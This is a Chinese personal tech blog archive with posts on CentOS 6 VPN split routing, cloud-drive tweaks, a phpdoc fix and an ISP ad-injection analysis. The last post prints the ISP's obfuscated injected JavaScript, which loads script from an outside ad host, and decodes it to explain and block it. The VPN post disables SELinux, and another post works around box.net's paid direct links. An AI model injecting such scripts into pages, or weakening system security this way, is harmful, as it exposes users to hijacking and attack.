agon-电脑

Archive for the ‘电脑’ Category

Centos6的vpn客户端安装与不走国内线路的与设置

February 5th, 2012, Posted by: agon   

本文主要是关于Centos6的vpn上网客户端安装设置与国内线路不走vpn的实现。
对于linux新手来说,经常遇到问题向google大婶求助,假如正当你心力憔悴眼睛疼时,忽见一缕答案曙光,满怀感激地去点击那个链接,突然一个链接重置,那只能用

来形容,或者目的链接打不开快照无法用,或者焦急的等待google链接转换,或者……,心里默默地咒骂某人,这个时候只有靠vpn来解除烦恼了。
Centos下设置vpn连接,并实现国内线路不走vpn节省流量,对新手来说并不容易,这方面的介绍也少,折腾了两天,总算成功。

安装vpn图形界面客户端

单击上面板上的连接图标->vpn连接->配置vpn,打开网络连接管理器,这个管理器的名字叫做NetWorkManager,各种上网设置都可以在这里完成,你会发现默认的vpn总是的没办法添加vpn和导入,这是因为你还没有安装”NetWorkManager-openvpn”和”NetWorkManager-pptp”组件呢。

安装步骤:
1、安装第三方软件仓库,因为默认的软件源里没有这些组件,到这里下载centos6最新的epel-release版本(在网页里查找epel-release这个词),然后到下载目录,右键打开终端,输入以下命令:
//(把epel-release*rpm替换为你下载包的名字)

# rpm -Uvh epel-release*rpm

或者鼠标直接双击安装包,来安装。
2、在终端执行下面的语句(注意大小写),是不是看到几个NetWorkManager-开头的组件,

# yum install NetworkManager*

如果没装,NetworkManager的vpn包是看不到的,选择y,全部安装
3、打开vpn配置,就可以看到添加和导入都是黑色的可选项了,可以点添加选择你的vpn上网方式,新建。

也可以用导入方式,如果你和我一样在windows下用openvpn上网,这里可以直接导入你以”.ovpn”结尾或者”.conf”结尾的文件(在),填上你的vpn用户名和密码,然后点应用。好吧,你看到我用的是谁家的vpn了。

我的例子是openvpn,填写pptp的例子见这里

4、联网正常常态下->单击面板网络连接图标->vpn链接,就会看到刚才添加的vpn了,单击它,就开始vpn链接了。第一次安装可能会报错,好象是“no valid(有效的) secret key”。重启或者在终端输入下面的命令:

# service NetworkManager restart

好了现在可以没有打扰的,网上冲浪了。

国内线路不走vpn

购买的vpn都是有流量限制的,而且vpn是全局代理,用vpn访问国内网站速度当然很慢。好在有一个chnroutes项目,可以实现只有国外的线路走vpn,他的详尽使用方法见这里

我用的是centos6具体使用方法如下:
1、下载chnroutes.py
2、在下载目录右键打开终端,输入以下命令,

# python chnroutes.py -p linux

如果运行这个命令,有”ImportError: No module named argparse”错误。解决方法是:
①确认安装过上文提到的epel-release包,添加第三方源
②运行一下命令:

# yum install python-argparse

3、运行完命令候后发现,目录下增加两个文件:ip-down和ip-pre-up,每个文件100多K,如果你生成的文件只有100多字节,说明没有下载下来路由表,重试。ip-pre-up这个文件的大概意思就是查询默认网关,把下载的路由表添加进去。执行以下命令增加执行权限:

# chmod +x ip-pre-up ip-down

执行以下命令,查看路由表信息,发现只有几条信息

# route -n

然后用root身份,在文件目录内执行以下命令

#./ip-pre-up

然后再执行以上route命令,发现路由表有很多条信息,去连接管理器连接vpn,访问国内任何一个测试ip网站,发现已经显示的已经是国内ip了,再连twi×tt×er能正常打开,说明成功。
4、自动执行这个脚本,因为权限问题,centos比较麻烦。执行以下命令,把ip-pre-up复制到/etc/ppp,把ip-down复制为/etc/ppp/ip-down.local.

# cp ip-pre-up /etc/ppp/ip-pre-up
# cp ip-down /etc/ppp/ip-down.local

断开链接或者重启NetworkManager,如果发现已经实现国外ipvpn,那么可以忽略以下步骤。
5、这一点为错误分析,不需要照着执行。我装的centos6没有这么很顺利,因为这个折腾了几天。执行以下命令查看日志最后60条信息,看看日志是都有异常。

# tail -60 /var/log/messages

发现有一条“pppd… Can’t execute /etc/ppp/ip-pre-up: Permission denied”,可是ip-pre-up的权限没问题啊,755或者777都不行,最后发现是SELinux的mode问题,通过”getenforce”查看SELinux模式,发现是enforcing模式,在”/etc/sysconfig/selinux”里把”SELINUX=enforcing“改为”SELINUX=disabled”,使系统变为Permissive模式,然后重启。执行以上日志查看命令发现没有错误报告了,可是连上adsl后执行,并没有发现自动添加路由表。在”/etc/ppp/ip-pre-up”里加上以下代码:

echo ip-pre-up is running >> test.log
echo ip-pre-up is running >> /home/你的用户名/桌面/test.log

如果ip-pre-up脚本执行了,会在本地和你的桌面生成一个test.log文件,里面会echo后面的字。断开网络连接,重新连上网,发现/etc/ppp/下没有生成test.log,而桌面上生成test.log了。说明虽然在Permissive模式下,ip-pre-up可以被执行,但权限还是不够。而ip-pre-up里的一堆route add …命令是需要root权限的。最终放弃折腾ip-pre-up,寻找在别的地方来调用ip-pre-up的办法。
6、终于找到一个地方”/etc/NetworkManager/dispatcher.d/”, NetworkManager每次接口启动和关闭都会执行这个目录下的所有脚本,执行顺序是按照文档名的字母数序,如果脚本执行有错误可以在”/var/log/messages.log”里看到,这个地方执行的脚本权限能够添加路由表,SELinux 在enforcing下也可以执行。新建一个文件,尽量排在此文件下,别的脚本后面执行,我用vpnroutes,在里面添加以下内容:

#!/bin/bash
#export PATH="/bin:/sbin:/usr/sbin:/usr/bin"
#执行添加路由表的脚本
INTERFACE=$1 # The interface which is brought up or down
STATUS=$2 # The new state of the interface

case "$STATUS" in
    'up') # $INTERFACE is up
	exec /etc/ppp/vpnup
	;;
    'down') # $INTERFACE is down
	# Check for active interface and down if no one active
	if [ ! `nm-tool|grep State|cut -f2 -d' '` = "connected" ]; then
		exec /etc/ppp/vpndown
	fi
	;;
esac

把/etc/ppp/下的ip-pre-up改名为和脚本里一样的名字,此处为vpnup,ip-down.local改为vpndown,这样当网络连接的时候自动执行添加路由表的脚本。
7、好了,可以洗洗睡了。

注意事项:

  • 以下命令语句需要root权限,不是root的话命令前加sudo,或者终端输入su -,输入root密码,或者以root身份登录(推荐)。
  • 不要用你搜到的老文章里的链接下载,如chnroutes_ovpn_linux(里面下载路由表的网址已经失效,无法生成路由表),因为这个多好n倍时间,作者2011年11月26日已经更新了脚本,用上文详尽方法的链接。
  • 上面第2点命令不是python chnroutes.py,后面参数一定要带上,因为这个又多好好多时间
  • 域名不能解析的话,把dns设为google的8.8.8.8,8.8.4.4
  • 每月更新一下两个文件
  • 确认所有的脚本权限是root所有,root用户组,其他只读,可执行,其他组不能有读写权限,如设成755权限,可能造成脚本不会执行

参考链接:
有关Python argpase:
http://pkgs.org/centos-6-rhel-6/epel-i386/python-argparse-1.2.1-2.el6.noarch.rpm.html
有关SELinux:
http://www.cyberciti.biz/tips/enable-permissive-mode-for-selinux-troubleshooting-purpose.html
有关ppp:
http://ppp.samba.org/pppd.html#toc13
有关NetworkManager_Dispatcher:
https://wiki.archlinux.org/index.php/NetworkManager#Network_Services_with_NetworkManager_Dispatcher
有关NetworkManager安装与vpn路由表脚本
http://blog.xuming.net/2010/04/openvpn.html
http://gnailuy.com/2011/08/07/%E8%AE%BE%E7%BD%AE%E8%B7%AF%E7%94%B1%E8%A1%A8%E4%BD%BF%E5%9B%BD%E5%86%85ip%E4%B8%8D%E8%B5%B0vpn%E7%BA%BF%E8%B7%AF/
http://www.vhaixi.com/blogs/entry/CentOS6-0-PPTP-VPN

修改华为数据银行的默认文件夹名称

December 29th, 2010, Posted by: agon   

dropbox一直用来作为自己的文件夹同步服务,但还应该再有一个备份的以防哪天dropbox彻底无法访问,好像自打dropbox不好访问,国内就纷纷出现了类似的山寨服务,金山快盘华为数据银行新浪微盘是比较有名的,通过简单试用,发现还是华为的数据银行山寨的最好,尤其是取消了外链带宽限制,一开始就是免费5G,共享和大文件发送功能。

这三家除了金山可以自定义同步文件夹的名称外,其他的都像dropbox一样没法自定义,要是正在用着dropbox,会很麻烦。数据银行的默认同步件夹名称是my Dbank,但这个是可以通过注册表修改的,首先,关闭数据银行客户端,在注册表里找到HKEY_CURRENT_USERSoftwareDbank表项,然后找到对应的Folder名称,双击填上你想要的文件夹路径,如图:
注册表

然后打开数据银行的客户端,点设置,发现同步文件夹已经改变了。如图:
数据银行

推荐使用sugarsync.com的网盘,数据银行跟这个比起来简直是废品

phpdoc1.4.3文件后缀名不全引发错误

January 3rd, 2010, Posted by: agon   

我在windows上用的phpdoc1.4.3的下载版,生成的文档有报错:Smarty error: unable to read resource: “pkgelementindex.tpl”,而且没有css,png图标也看不到,在这里发现smarty模板文件的后缀名有错误,本来应该是.tpl,可是有部分文件的后缀为tp,所以引发报错。其实不光模板文件后缀有误,很多css和png后缀名为cs和pn,找来一段改文件名的批处理,把下面的代码保存为bat,

@echo off
for /r %%a in (*.cs) do ren "%%a" "%%~na.css"
for /r %%a in (*.pn) do ren "%%a" "%%~na.png"
for /r %%a in (*.tp) do ren "%%a" "%%~na.tpl"
pause

放在phpdoc目录下,运行既可以把错误的后缀改过来。

最新获取box.net真实文件外链地址

November 27th, 2009, Posted by: agon   

box.net是一个非常不错的网盘,空间1G,月流量10G,而且积极应对高墙,但是文件外链的真实地址是要付费的,但是以前已经有人找到找出外链真实地址的方法,就是利用rss,点这里,但是现在的box.net已经没有文章里的那个rss链接了。虽然box.net不提供这个文件的rss链接,但这个地址格式还是有效的,只要找到文件id就可以了。

下面以一个图片文件为例,来说明找到真实文件地址的方法,首先点击“链接这个文件”,如图

然后,点击链接地址,如图

最后来到下载页面,由于有些人用ie,通用的方法是,查看–>源文件,搜索filename_,会发现后面有一串数字。这个就是文件id如图

本例为360338634:我们用http://www.box.net/rssdownload加上文件id,再加上文件名就是真实地址了,如本例文件名是test.jpg,所以真实下载地址就是:http://www.box.net/rssdownload/360338634/test.jpg

如果用theworld浏览器,可直接下载,下载地址里也有文件id。

铁通强行弹广告,及暂时解决办法

November 23rd, 2009, Posted by: agon   

最近关闭一些网站时,老是弹出一些广告,大多是网游、考考你之类诈骗网站,刚开始以为是关闭的那个网页放的广告,可是最近越来越频繁,而且老是这几个广告,开始怀疑是否自己中招,可是自己一直裸奔上网,所以系统一直很干净,简单排查以下排除自己中毒,而且使用代理的时候没有弹出现象,上网搜了搜相关广告网站,才发现是垃圾铁通搞的鬼,如果网页中含有它所劫持一些统计网站js,统计代码的前面会被加上加上铁通的广告js调用,那样在关闭的网页的时候就会弹出广告。

由于第一次访问soso使用了google的广告js,所以第一次使用soso搜索后。关闭搜索页会自动弹出广告,下面以次为例说明:
首先,清空ie临时文件夹,访问soso.com,随便搜索一个词,会在ie临时文件夹下发现一个文件——show_afs_ads_cn.js,如下图:

打开它,你会发现如下代码:

var _0x9713=["x3Cx73x63x72x69x70x74x20x6Cx61x6Ex67x75x61x67x65x3Dx27x6Ax61x76x61x73x63x72x69x70x74x27x20x73x72x63x3Dx27x68x74x74x70x3Ax2Fx2Fx6Dx2Ex31x37x62x62x6Ax2Ex63x6Fx6Dx2Fx6Dx77x67x6Ex64x66x61x2Ex70x68x70x3Fx73x72x63x3Dx67x67x26x74x3D","x74x69x74x6Cx65","x27x3Ex3Cx2Fx73x63x72x69x70x74x3E","x77x72x69x74x65"];document[_0x9713[0x3]](_0x9713[0x0]+encodeURIComponent(document[_0x9713[0x1]])+_0x9713[0x2]);document.write("<script language='javascript' src='http://www.google.cn/afsonline/show_afs_ads_cn.js?rr=1886680168'></script>");

前面的变量_0x9713就是一连串的转换成16进制ASCII码组成的数组,换成正常js代码就是:

var _0x9713=["<script language='javascript' src='http://m.17bbj.com/mwgndfa.php?src=gg&t=","title","'></script>","write"];

由此可知,铁通通过document.write写网页,把打开广告的代码通过m.17bbj.com/mwgndfa.php返回,而且通过嗅探也可以看到访问过m.17bbj.com这个网址。

所以只要m.17bbj.com无法访问就可以阻止广告页弹出,修改system32/drivers/etc/里的hosts文件,添加:

127.0.0.1 m.17bbj.com
127.0.0.1 17bbj.com

重启,即可。当然了铁通要是换一个网站就还得重新找出弹广告的地址。

铁通弹广告现在做的很隐蔽,不像之前的是插入页面,现在是关闭网页弹出,好像通过cookie设置或者某些时段劫持,一定时间内只弹出一次,给用户的感觉弹出的广告是因为刚才访问的原因。强烈谴责铁通这种无耻行径,这不仅侵犯铁通用户的权益,而且对铁通用户的电脑安全也构成威胁,希望有次现象的都到工信部电信申诉投诉他们,

到目前为止,好像没一家isp是干净的吧,中国上网真悲哀,isp强奸,收费贵,网速低,还有墙过滤。

ps: 昨天投诉到工信部,今天晚上,有铁通客服mm来电话询问相关情况,说是之后给回电话,所以大家都去工信部投诉,人多了相关责任人肯定会被过问的。工信部投诉网站:
http://dxss.miit.gov.cn:8080/LeaderMail/LeaderMail.jsp

pss: 24日,铁通又回电话了,它们也不清楚是怎么回事,而且说一些名词,对方也不清楚,但还是很客气,只是说投诉工信部,下面的人压力很大,他会往上反应,感觉地市上不可能干这些的,估计省里的或者总部有工作人员偷偷干的。
相关网页:
http://blog.wyk.net.ru/WuYeKe-yida10050tousutietongvar_0xccceguamawenti.html

http://www.kuaizhuan.info/?p=566

12月2日更新:
现在m.17bbj.com的ip说明就是铁通搞得,附123cha.com的查询结果

Page 3 of 41234